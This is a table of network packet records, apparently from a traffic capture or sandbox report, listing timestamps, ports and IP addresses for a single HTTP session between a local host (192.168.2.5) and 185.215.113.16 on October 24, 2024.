Oct 24, 2024 19:30:09.258243084 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258245945 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258258104 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258261919 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258275032 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258277893 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258290052 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258294106 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258306980 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258308887 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258322001 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258323908 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258341074 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258358955 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258361101 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258375883 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258390903 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258395910 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258410931 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258424997 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258431911 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258461952 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258637905 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258652925 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258673906 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258698940 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258706093 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258721113 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258735895 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258743048 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258753061 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258760929 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258768082 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258810043 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258810043 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258821011 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258827925 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258833885 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258841038 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258856058 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.258862972 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258872032 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.258908033 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302333117 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302376032 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302401066 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302417994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302433014 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302445889 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302450895 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302469015 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302474022 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302494049 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302510977 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302515984 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302547932 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302561045 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302656889 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302673101 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302691936 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302706957 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302717924 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302747011 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302784920 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302800894 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302805901 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302820921 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302841902 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302887917 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302902937 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302920103 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302922964 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302937031 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302938938 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302953959 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302958965 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302970886 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.302977085 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.302995920 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303014994 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303049088 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303064108 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303080082 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303087950 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303097010 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303107023 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303112984 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303129911 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303142071 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303148985 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303157091 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303164959 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303179979 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303195000 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303200960 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303216934 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303220034 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303236008 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303272009 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303344965 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303360939 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303376913 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303381920 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303392887 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303396940 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303407907 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303416967 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303421021 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303436995 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303438902 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303452015 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303456068 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303467989 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303472996 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303484917 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303504944 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303508997 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303533077 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303536892 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303549051 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303556919 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303566933 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303575039 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303586006 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303591967 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303601980 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303611040 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303618908 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303630114 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303637028 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303654909 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303679943 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303777933 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303792000 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303807020 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303811073 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303823948 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303826094 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303841114 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303843975 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303855896 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303869963 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303869963 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303879976 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303884983 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303895950 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303900003 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303915977 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303916931 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303932905 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303949118 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303952932 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303965092 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303972006 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.303980112 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.303997040 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304009914 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304020882 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304028034 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304042101 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304047108 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304058075 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304064989 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304074049 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304084063 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304116964 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304136038 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304151058 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304167986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304168940 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304183960 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304192066 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304199934 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304217100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304229021 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304238081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304238081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304243088 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304259062 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304260969 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304291010 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304320097 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304335117 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304341078 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304351091 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304353952 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304367065 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304383039 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304384947 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304399014 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304409981 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304413080 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304438114 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304461956 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304485083 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304500103 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304521084 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304538012 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304611921 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304626942 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304644108 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304646015 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304658890 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304666042 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304676056 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304683924 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304691076 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304699898 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304733038 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304764986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304779053 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304795027 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304799080 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304811001 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304825068 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304826021 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304841042 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304846048 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304857016 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304872036 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304877043 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304888010 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304902077 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304915905 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304923058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304930925 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304946899 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304949999 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304963112 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.304977894 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.304979086 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305001020 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305006027 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305028915 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305039883 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305046082 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305054903 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305073023 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305099010 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305128098 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305141926 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305157900 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305162907 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305171967 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305181980 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305187941 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305202961 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305206060 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305233002 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305242062 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305255890 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305273056 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305275917 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305315971 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305346012 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305361032 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305377007 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305382967 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305392027 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305408955 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305411100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305444002 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305460930 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.305532932 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.305569887 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.368907928 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.368990898 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369000912 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369005919 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369029999 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369050026 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369052887 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369080067 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369100094 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369113922 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369128942 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369129896 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369143963 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369153976 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369158983 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369173050 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369175911 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369189978 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369205952 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369232893 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369307041 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369348049 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369354963 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369369984 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369394064 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369414091 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369421005 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369462013 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369493008 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369508982 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369524956 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369537115 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369539976 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369544029 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369563103 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369565964 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369577885 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369589090 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369596958 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369612932 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369616985 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369616985 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369630098 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369633913 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369657993 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369674921 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369688988 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369694948 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369708061 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369724035 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369743109 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369750977 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369757891 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369774103 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369782925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369792938 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369806051 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369810104 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369834900 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369878054 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369899988 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369915962 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369916916 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369930983 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369946003 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369946957 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.369960070 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.369966984 CEST	49959	80	192.168.2.5	185.215.113.16
